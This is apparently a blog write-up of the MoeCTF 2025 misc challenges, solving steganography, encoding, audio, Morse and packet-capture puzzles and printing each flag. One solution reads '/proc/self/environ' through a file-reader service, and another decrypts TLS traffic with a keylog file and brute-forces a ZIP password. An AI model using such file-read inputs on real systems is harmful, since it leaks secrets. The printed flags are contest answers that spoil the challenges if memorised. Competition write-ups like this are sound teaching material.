Featured image of post Moectf_2025

Moectf_2025

2025西电CTF新生赛

前言:等了好久终于来更新了moectf2025的WP了,欢迎师傅来交流

西电 CTF 终端

[TOC]

安全杂项

miscru_men_zhi_bei_.pdf

2048_master

大家都是2048高手吧,出题人准备了一点小礼物哦,玩玩游戏就能拿到flag^_^

一个简易的win32界面的2048小游戏,键盘上下左右移动:

打开文件运行游戏,随便乱按“上下左右”键,运行完会发现桌面多出了一个文件,里面这是个布局。每格的数字代表了2的多少次方,最下面是分数。

moectf{Y0u_4re_a_2048_m4st3r!!!!r0erowhu}

Misc入门指北

这题我直接引用官方WP的图片

全局搜索flag

moectf{We1c0m3_7o_tH3_w0R1d_0f_m1sc3111aN3ous!!}

Pyjail 0


A simple reader (所以严格来说这题不算 Pyjail)

你可以使用 netcat 或 pwntools(参考二进制漏洞审计入门指北)连接到本题和后续 Pyjail 题的环境。

关于验证码,示例:Please enter the reverse of ‘GZUUAOIS’ to continue: SIOAUUZG

至于 flag 的位置?你可以参考 Web 第十二章(


根据题⽬描述flag位置参考web⼗⼆章,读取环境变量/proc/self/environ,这题我是请教Web手的,触及我的知识盲区了…

nc连接好后,输入/proc/self/environ给它就会吐flag了。

Rush


“冲刺,冲刺!”你正走在路上,耳边传来这样的声音,还没反应过来,就被撞倒了。

你费劲地爬起来,好像看到了什么信息,回过神来那人早已扬长而去,那我缺的这个道歉这块?

上述文案纯属看图说话,玩个梗,无恶意


rush

硬着头皮用手机扫也行(你手机能扫到就好),当然手机扫不了就抽帧来扫,工具很多,我这里用puzzlesolver:

用QR_research工具去扫码:

moectf{QR_C0d3s_feATUR3_eRror_c0RRECt10N}

ez_LSB


这是一张普通的图片,但是一个个像素看过去似乎有些蹊跷?


xidian

看题目就知道,这应该是LSB隐写,用stegsolve分析看看:

这里有一些不规则的色条,应该是非法插入字符串导致排布不一,过滤Red 0通道

bW9lY3Rme0xTQl8xc19zMF8xbnQzcmVzdDFuZyEhc2o5d2R9

用Cyberchef进行base64解码:

moectf{LSB_1s_s0_1nt3rest1ng!!sj9wd}

ez_锟斤拷????


E=hv在记事本里写下了一些神秘字符,但是经过一通保存另存为的迷之操作之后文本文件里的东西全变成了乱码

现在我把这个文件给你,请你帮助hv找回文件的秘密吧!

请把得到的flag转换成半角字符上交

hint:此题解法与锟斤拷有关


里面的txt内容:

1
锝嶏綇锝咃絻锝旓絾锝涳讥锝庯迹锛愶絼锛戯綁锝庯絿锛匡絿锝傦极锛匡紶锝庯激锛匡嫉锝旓絾锛匡紭锛匡紤锝擄伎锛旓綍锝庯紒锛侊絽锝楋綏锝楋綏锝濇伃鍠滀綘寰楀埌寮楁媺鏍煎悗闈㈠叏鏄敓鏂ゆ嫹閿熸枻鎷烽敓鏂ゆ嫹

叫AI帮我解决:

豆包

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
def fix_encoding_mismatch(garbled_text):
    """
    修复UTF-8与GBK编码不匹配导致的乱码
    原理:乱码是"UTF-8文本→误GBK解码→再UTF-8保存"的结果,反向执行即可还原
    """
    try:
        # 1. 将乱码文本按GBK编码为字节流(还原错误解码前的原始字节)
        gbk_bytes = garbled_text.encode('gbk', errors='ignore')
        # 2. 将字节流按UTF-8解码(得到原始正确文本)
        original_text = gbk_bytes.decode('utf-8', errors='ignore')
        return original_text
    except Exception as e:
        return f"解码失败:{str(e)}"

# 你提供的乱码内容
garbled_content = "锝嶏綇锝咃絻锝旓絾锝涳讥锝庯迹锛愶絼锛戯綁锝庯絿锛匡絿锝傦极锛匡紶锝庯激锛匡嫉锝旓絾锛匡紭锛匡紤锝擄伎锛旓綍锝庯紒锛侊絽锝楋綏锝楋綏锝濇伃鍠滀綘寰楀埌寮楁媺鏍煎悗闈㈠叏鏄敓鏂ゆ嫹閿熸枻鎷烽敓鏂ゆ嫹"

# 执行解码
original_flag = fix_encoding_mismatch(garbled_content)

# 输出结果(过滤无关字符,提取flag)
# 从还原结果中提取flag格式内容(通常为flag{...})
import re
flag_match = re.search(r'flag\{.*?\}', original_flag)
if flag_match:
    final_flag = flag_match.group()
    print("还原成功!半角flag为:")
    print(final_flag)
else:
    print("还原后的原始文本:")
    print(original_flag)
    print("\n未匹配到flag格式,可手动查看上述文本中的flag")
1
moectf{EnC0d1ing_gbK_@nD_Utf_8_1s_4un!!ewwww}恭喜你得到弗拉格后面全昔斤拷锟斤拷锟斤拷

再转换成半角字符:moectf{EnC0d1ing_gbK_@nD_Utf_8_1s_4un!!ewwww}

weird_photo


FLAG就在图中。

什么,你说你看不见 FLAG?注意 CRC!


修改高宽

直接丢进随波逐流就梭出来了,当然不嫌麻烦可以用010editor去拉⾼图⽚

moectf{Image_Height_Restored}

SSTV


识别并解码附件中使用的特殊通信协议,以获取隐藏信息。


搜索“SSTV解码”Online SSTV Decoder - Decode Slow Scan Television Audio to Images看看:

moectf{d3codiNG_SStV_reQu1REs-PATI3nC3}

encrypted_pdf


这年头,啥都能带个密码,pdf也不例外。

难道有密码就能拦住我堂堂misc手吗??不可能的!


密码是qwe123,着我乱输几次就可以了。

接下来就是全局搜索:

最后在图片后面找到flag:

moectf{Pdf_1s_r3a1ly_c0lor4ul!!ihdw}

哈基米难没露躲


出题人哈基米音乐听多了(bushi


1
南北绿豆奈哪买噶奈哪买南北绿豆;欧莫季里噶奈哪买噶奈哦吗吉利。哦吗吉利哪买噶奈哪椰奶龙?哈基米买娜奈哪买北窝那没撸多。哈基米多多压那奈椰奶龙;奈诺娜美嘎哪买娜奈哪买窝那没撸多?哦吗吉利噶奈哪买哈基米;窝那没撸多噶奈哪买噶奈哪哈基米。库路曼波买噶奈哪买哦吗吉利,哈基米娜奈哪买北南北绿豆,哦吗吉利多多压那多多欧莫季里。阿西噶压压那南撸基阿奈诺娜美嘎,哈基米南里南北友里窝那没撸多。库路曼波一吉豆没咕椰奶龙,库路曼波吉豆没咕吉豆椰奶龙。库路曼波没咕吉豆没咕库路曼波?哦吗吉利吉豆没米吉库路曼波。阿西噶压豆耶咕吉豆没米窝那没撸多;南北绿豆吉豆没米哈基米;窝那没撸多吉豆没咕吉奈诺娜美嘎。库路曼波豆没咕吉豆椰奶龙,欧莫季里没咕吉豆没咕吉南北绿豆?库路曼波豆没米吉豆欧莫季里。哦吗吉利耶咕吉豆没咕奶哈基米;窝那没撸多压多那吉豆没咕奈诺娜美嘎。阿西噶压吉豆没咕吉哦吗吉利;椰奶龙豆没咕吉豆没咕南北绿豆。窝那没撸多吉豆没米奶压哈基米,哈基米多那吉豆没米吉哈基米?奈诺娜美嘎豆没咕吉豆窝那没撸多,南北绿豆没咕吉豆没咕吉窝那没撸多,窝那没撸多豆没咕吉哦吗吉利;南北绿豆豆没咕吉豆没米窝那没撸多;南北绿豆吉豆耶咕吉豆椰奶龙。哈基米没米吉豆哈基米?库路曼波耶吗多奈哪买噶哈基米。哦吗吉利奈哪买噶奈哪阿西噶压;南北绿豆买噶奈哪窝那没撸多;阿西噶压买噶奈哪买阿西噶压;哈基米娜多多压那窝那没撸多?欧莫季里奈哪买北多奈诺娜美嘎;哦吗吉利多压那呀里欧西库路曼波。窝那没撸多奈哪买噶奈哈基米;南北绿豆哪买噶奈哪哦吗吉利,欧莫季里买噶奈哪买噶奈库路曼波,库路曼波哪买噶多多压那库路曼波。哈基米奈哪买噶奈哪买南北绿豆?椰奶龙娜奈哪买哈基米,窝那没撸多噶奈哪买奈诺娜美嘎?阿西噶压噶奈哪买噶奈哪哈基米,阿西噶压买噶奈哪买娜奈奈诺娜美嘎。奈诺娜美嘎哪买北奈哪买噶椰奶龙?哦吗吉利奈哪买北奈诺娜美嘎,窝那没撸多奈哪买噶奈哪窝那没撸多?阿西噶压买噶奈哪买噶奈欧莫季里。库路曼波哪买噶奈哈基米?阿西噶压哪买噶多多压那阿西噶压。窝那没撸多奈哪买北奈哪买阿西噶压;库路曼波噶奈哪买噶窝那没撸多。南北绿豆奈哪买噶奈哈基米;椰奶龙哪买噶奈哪买哦吗吉利;南北绿豆噶奈哪买哈基米;哈基米噶多多压那奈诺娜美嘎?窝那没撸多奈哪买北奈哦吗吉利,库路曼波哪买娜奈椰奶龙。哈基米哪买噶奈哪欧莫季里?椰奶龙买噶奈哪买噶阿西噶压。哈基米奈哪买噶奈奈诺娜美嘎?欧莫季里哪买噶多多压那哦吗吉利,阿西噶压奈哪买娜奈哪买哦吗吉利,南北绿豆娜奈哪买噶奈哪哈基米;库路曼波买噶奈哪买窝那没撸多。哈基米噶奈哪买南北绿豆;椰奶龙噶奈哪买噶多多窝那没撸多,阿西噶压压那奈哪买椰奶龙,欧莫季里娜奈哪买奈诺娜美嘎,阿西噶压北奈哪买噶奈哪库路曼波。库路曼波买噶奈哪买噶奈阿西噶压?哈基米哪买噶奈南北绿豆,南北绿豆哪买娜奈哪买哈基米;哦吗吉利北奈哪买噶奈椰奶龙,库路曼波哪买北奈窝那没撸多,阿西噶压哪买噶奈哪买奈诺娜美嘎;奈诺娜美嘎噶奈哪买噶奈欧莫季里,阿西噶压哪买噶奈哪窝那没撸多。南北绿豆买噶多多阿西噶压,窝那没撸多压那奈哪阿西噶压?椰奶龙买北奈哪奈诺娜美嘎;窝那没撸多买娜奈哪买噶奈椰奶龙?哦吗吉利哪买噶奈阿西噶压。哈基米哪买噶奈哪窝那没撸多;库路曼波买噶奈哪买噶奈欧莫季里。南北绿豆哪买北多多压那窝那没撸多;欧莫季里奈哪买娜奈哪买奈诺娜美嘎;椰奶龙噶奈哪买噶窝那没撸多,奈诺娜美嘎奈哪买噶奈阿西噶压;阿西噶压哪买噶奈哪买娜阿西噶压;椰奶龙奈哪买北奈欧莫季里。奈诺娜美嘎哪买噶奈阿西噶压,椰奶龙哪买娜奈哪买欧莫季里?库路曼波噶奈哪买库路曼波。阿西噶压噶奈哪买噶窝那没撸多;窝那没撸多奈哪买噶奈哪买南北绿豆?阿西噶压噶多多压那椰奶龙,库路曼波奈哪买娜哈基米;窝那没撸多奈哪买噶阿西噶压,库路曼波喔酷娜利步啊那窝那没撸多?南北绿豆吉豆没咕吉豆欧莫季里;欧莫季里没咕吉豆没南北绿豆?库路曼波咕吉豆没咕库路曼波。哈基米吉豆没咕哦吗吉利?哈基米奶压多那吉豆库路曼波,库路曼波没咕吉豆耶咕阿西噶压,椰奶龙吉豆没咕吉豆没窝那没撸多?阿西噶压咕吉豆没咕欧莫季里。奈诺娜美嘎吉豆没咕吉豆哈基米?欧莫季里没咕奶压多那吉库路曼波;阿西噶压豆没咕奶椰奶龙;奈诺娜美嘎压多那吉南北绿豆,窝那没撸多豆没咕吉欧莫季里;南北绿豆豆没咕吉豆奈诺娜美嘎。库路曼波没咕吉豆奈诺娜美嘎,南北绿豆没咕吉豆没咕吉窝那没撸多?库路曼波豆耶咕奶压多阿西噶压,哈基米那吉豆没米吉豆窝那没撸多;哈基米没咕吉豆没咕吉南北绿豆?奈诺娜美嘎豆没咕吉豆没奈诺娜美嘎;南北绿豆咕吉豆没南北绿豆。奈诺娜美嘎咕奶压多那吉奈诺娜美嘎?南北绿豆豆没米吉椰奶龙;椰奶龙豆没咕吉豆没窝那没撸多?欧莫季里咕吉豆没咕吉豆库路曼波;欧莫季里没咕吉豆没咕南北绿豆?奈诺娜美嘎吉豆没咕奶窝那没撸多;南北绿豆压多那吉豆没咕哈基米?欧莫季里吉豆没米吉豆欧莫季里;阿西噶压没咕吉豆奈诺娜美嘎;阿西噶压没咕吉豆没咕吉椰奶龙,哈基米豆没咕吉豆没阿西噶压?南北绿豆咕奶压多那椰奶龙。欧莫季里吉豆没咕吉豆没库路曼波;哈基米吗喵子路路吉阿西噶压,窝那没撸多豆没咕吉豆哦吗吉利;南北绿豆没咕吉豆阿西噶压?阿西噶压没咕吉豆没南北绿豆;哈基米咕吉豆没咕窝那没撸多;阿西噶压奶压多那吉椰奶龙;库路曼波豆没咕吉豆没米阿西噶压,奈诺娜美嘎吉豆没咕吉窝那没撸多。阿西噶压豆没咕吉窝那没撸多,阿西噶压豆没咕吉豆欧莫季里?库路曼波没咕吉豆没窝那没撸多,库路曼波咕吉豆耶咕奶压窝那没撸多?哦吗吉利多那吉豆没米阿西噶压。哈基米吉豆没咕吉欧莫季里;南北绿豆豆没咕吉欧莫季里。南北绿豆豆没咕吉豆没咕南北绿豆?椰奶龙吉豆没米吉豆椰奶龙;库路曼波耶咕吉豆没阿西噶压?欧莫季里咕吉豆没米南北绿豆;南北绿豆吉豆没咕吉豆没哈基米;哦吗吉利咕吉豆没咕吉奈诺娜美嘎?窝那没撸多豆没咕吉豆库路曼波,库路曼波没咕奶压多那吉阿西噶压。窝那没撸多豆没咕吉豆库路曼波?阿西噶压没西一奈哪买噶阿西噶压;哦吗吉利奈哪买噶哦吗吉利;椰奶龙奈哪买噶奈南北绿豆,库路曼波哪买噶奈哪买娜库路曼波,哈基米奈哪买北奈哪买窝那没撸多。欧莫季里噶奈哪买北奈哈基米,椰奶龙哪买噶奈库路曼波?南北绿豆哪买噶奈欧莫季里;哈基米哪买噶奈椰奶龙,奈诺娜美嘎哪买噶奈哪南北绿豆,库路曼波买娜奈哪哦吗吉利?阿西噶压买北奈哪买娜奈库路曼波。欧莫季里哪买噶奈欧莫季里,库路曼波哪买噶奈哪买欧莫季里?库路曼波噶奈哪买噶奈窝那没撸多;阿西噶压哪买噶奈阿西噶压;窝那没撸多哪买噶奈哪买北南北绿豆。库路曼波多多压那欧莫季里?欧莫季里奈哪买娜奈哪哦吗吉利;哈基米买噶奈哪买噶奈库路曼波,库路曼波哪买噶奈库路曼波?奈诺娜美嘎哪买噶奈哪阿西噶压,南北绿豆买噶多多压库路曼波;南北绿豆那奈哪买娜奈库路曼波,库路曼波哪买北奈哪椰奶龙,欧莫季里买噶奈哪买库路曼波。窝那没撸多噶奈哪买噶窝那没撸多,哈基米奈哪买噶阿西噶压。南北绿豆奈哪买噶多椰奶龙?哈基米多压那奈哪阿西噶压;库路曼波买娜奈哪买欧莫季里?库路曼波娜奈哪买噶奈欧莫季里;哈基米哪买噶奈哪椰奶龙。窝那没撸多买噶奈哪奈诺娜美嘎;椰奶龙买噶奈哪买库路曼波,阿西噶压娜奈哪买北椰奶龙。奈诺娜美嘎奈哪买噶奈哈基米;窝那没撸多哪买北奈哪哈基米。奈诺娜美嘎买噶奈哪买噶窝那没撸多?南北绿豆奈哪买噶欧莫季里,库路曼波奈哪买噶奈哪买库路曼波。南北绿豆娜奈哪买南北绿豆;欧莫季里北奈哪买娜奈哦吗吉利。哈基米哪买娜子窝那没撸多;南北绿豆酷波利子撸娜哪哈基米?哈基米哈里椰路阿西噶压,阿西噶压奈哪买噶奈哪哈基米。哈基米买噶奈哪买噶库路曼波?欧莫季里奈哪买噶奈哪南北绿豆,奈诺娜美嘎买噶多多椰奶龙;阿西噶压压那奈哪库路曼波;库路曼波买噶多多压那奈库路曼波;哦吗吉利哪买噶奈哪买哦吗吉利。椰奶龙噶奈哪买噶奈窝那没撸多,阿西噶压哪买噶奈哪买噶欧莫季里,库路曼波多多压那奈库路曼波;窝那没撸多哪买噶多多压那哈基米,窝那没撸多喔米哦啊呀砸奈诺娜美嘎;椰奶龙曼吉豆没咕南北绿豆;库路曼波吉豆没咕吉豆没阿西噶压?哦吗吉利咕吉豆没咕吉哦吗吉利;库路曼波豆没咕奶压库路曼波。库路曼波多那吉豆南北绿豆?奈诺娜美嘎没米吉豆库路曼波;哦吗吉利耶吗一奈哪买奈诺娜美嘎。椰奶龙噶奈哪买噶奈阿西噶压?哈基米哪买噶奈哪买噶窝那没撸多。南北绿豆奈哪买噶阿西噶压;窝那没撸多多多压那阿西噶压,阿西噶压奈哪买北奈阿西噶压,欧莫季里哪买噶奈哪买噶哈基米。哈基米奈哪买噶奈诺娜美嘎?哈基米奈哪买噶库路曼波。南北绿豆奈哪买噶奈哪阿西噶压,奈诺娜美嘎买噶多多压那欧莫季里;南北绿豆奈哪买噶哈基米,窝那没撸多奈哪买北奈哪买南北绿豆,欧莫季里噶奈哪买奈诺娜美嘎?哦吗吉利噶奈哪买哈基米;南北绿豆噶奈哪买南北绿豆;窝那没撸多噶奈哪买娜奈哪椰奶龙,欧莫季里买北奈哪买噶阿西噶压,库路曼波多多压那奈哪买哈基米;哈基米噶奈哪买噶窝那没撸多?欧莫季里奈哪买噶奈哪买哦吗吉利。阿西噶压噶奈哪买噶多哦吗吉利,阿西噶压多压那奈哪买阿西噶压,哈基米北奈哪买南北绿豆,南北绿豆噶奈哪买噶奈阿西噶压,欧莫季里哪买噶奈哦吗吉利。椰奶龙哪买噶奈哈基米,库路曼波哪买噶奈窝那没撸多,奈诺娜美嘎哪买噶多窝那没撸多,椰奶龙多压那奈哪买噶南北绿豆,阿西噶压奈哪买北奈哈基米;哈基米哪买噶奈哪奈诺娜美嘎,哦吗吉利买噶奈哪买噶奈阿西噶压,窝那没撸多哪买噶奈哪阿西噶压。窝那没撸多买娜多多椰奶龙;椰奶龙压那多多压奈诺娜美嘎;阿西噶压那奈哪买娜南北绿豆。哦吗吉利自米哦啊南北绿豆;奈诺娜美嘎南酷基压步酷欧莫季里;奈诺娜美嘎马美友喔奈诺娜美嘎;窝那没撸多诺哪呀喔喵欧莫季里;欧莫季里哩椰奶龙。

给了一堆哈机密语…

哈基米语翻译

哈吉咪语方言翻译

??这是‌‌‌‌‍‬‍‌‌‌‌‍‬fakeflag‌‌‌‌‍‬‍‍‌‌‌‌‍‬‌‌‌‌‌‍‍‌‌‌‌‌‍‬‍‬{‌‌‌‌‍‬you‌‌‌‌‌‌‍‌‌‌‌‍‬‌‬‌‌‌‌‌‬‌‌‌‌‌‌‬‍‌‌‌‌‌‍‍‌‌‌‌‌‍‬‌‌‌‌‍‬‌‬‌‌‌‌‌‬‍‌‌‌‌‌‬‍‌‌‌‌‍‬‌‍‌‌‌‌‌‍‌_can_‌‌‌‌‌‌‬‌‌‌‌‌‌‌‌‌‌‌‬‍‌‌‌‌‌‍‌‌‌‌‌‌‌‍‌‌‌‌‌‌‌try‌‌‌‌‌‌‍‌‌‌‌‌‬‍‌‌‌‌‍‬‌‍‌‌‌‌‌‌‍_‌‌‌‌‍‬‌‬‌‌‌‌‍‬‍‌‌‌‌‌‌‬‍‌‌‌‌‌‍‬‌‌‌‌‌‍‍‌‌‌‌‍‬‌‬‌‌‌‌‍‬‍‍searching‌‌‌‌‌‌‌‌‌‌‌‌_text‌‌‌‌‌‍‬_‌‌‌‌‌‬‌‌‌‌‌‌‌‬‌‌‌‌‍‬‌‌‌‌‌‌‬‌‌‌‌‌‌‌‬‌‌‌‌‍‍Steganography}???

怪怪的。

零宽隐写

这字符串内容有提示,复制解密得到的fakeflag,⽤零宽隐写解密。

moectf{1b8956b9-a423-4101-a1bd-65be33682c82}

捂住一只耳


一只手捂住耳朵 另一只手打开音乐 似乎听到了不一样的声音

flag 形式以moectf{}包裹提交,忽略大小写


听得我耳朵疼呀,用audacity分析:

发现另外一声道的音频不一致,我们单独分离出来:

摩斯密码

解码:

1
2
3
..-. .-.. .- --. .. ... ---... .... .- .-.. ..-. ..--.- .-. .- -.. .. --- ..--.- .. -. ..--.- -..- -.. ..-
FLAGIS:HALF_RADIO_IN_XDU
HALF_RADIO_IN_XDU

Enchantment


哇多么好的附魔啊

你把图片发了出去,但似乎附魔台上的文字有一些不对劲?

注:请将最终结果按单词以_分离并包上moectf{}提交,忽略大小写


“你把图片发了出去”…OK我知道了,这作者把图片发出去了,涉及upload上传,给我把upload流量提取出来!!

搜索指令:

1
http.request.method == "POST"

8950的文件头:png图片文件标识

导出为png图片:

Minecraft附魔台图片

根据附魔台咒语的编码表去对应转译:now_you_have_mastered_enchanting

moectf{now_you_have_mastered_enchanting}

这题挺有意思的,不愧是杂项啊,脑洞真的厉害啊。

WebRepo


这都是什么稀奇古怪的格式!?


扫完后发现:“Flag is not here, but I can give you a hint: Use binwalk.”

用binwalk提取看看,很奇怪我的Kali和随波逐流工具的binwalk都提取不出来,试试010editor手工提取,这题我不会,复现别人WP,为什么别人可以提取我不能

/(ㄒoㄒ)/~~

moectf{B1NwA1K_ANd_g1t_R3seT-MaG1C}

ez_ssl


zero6six 在网页内上传了一份秘密文件。望着浏览器提示的“连接安全,信息不会外泄”,他觉得万无一失。

但与此同时,他的浏览器却悄悄上传了另一份文件。

现在把他电脑的抓包记录给你,你能破解他的秘密吗?


进一步查看发现是一个ssl.log的文件

然后在 编辑-首选项-Protocols-TLS 处的 (Pre)-Master-Secret log filename 选择保存下来的 ssl.log,解密 SSL 流量后可以发现另一个上传文件的 HTTP 数据包,用上述方法提取到 flag.zip。

解密完就看到ZIP:

用ARCHPR进行7位纯数字密码爆破:

密码:6921682。打开后给了一堆ook编码:

1
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? 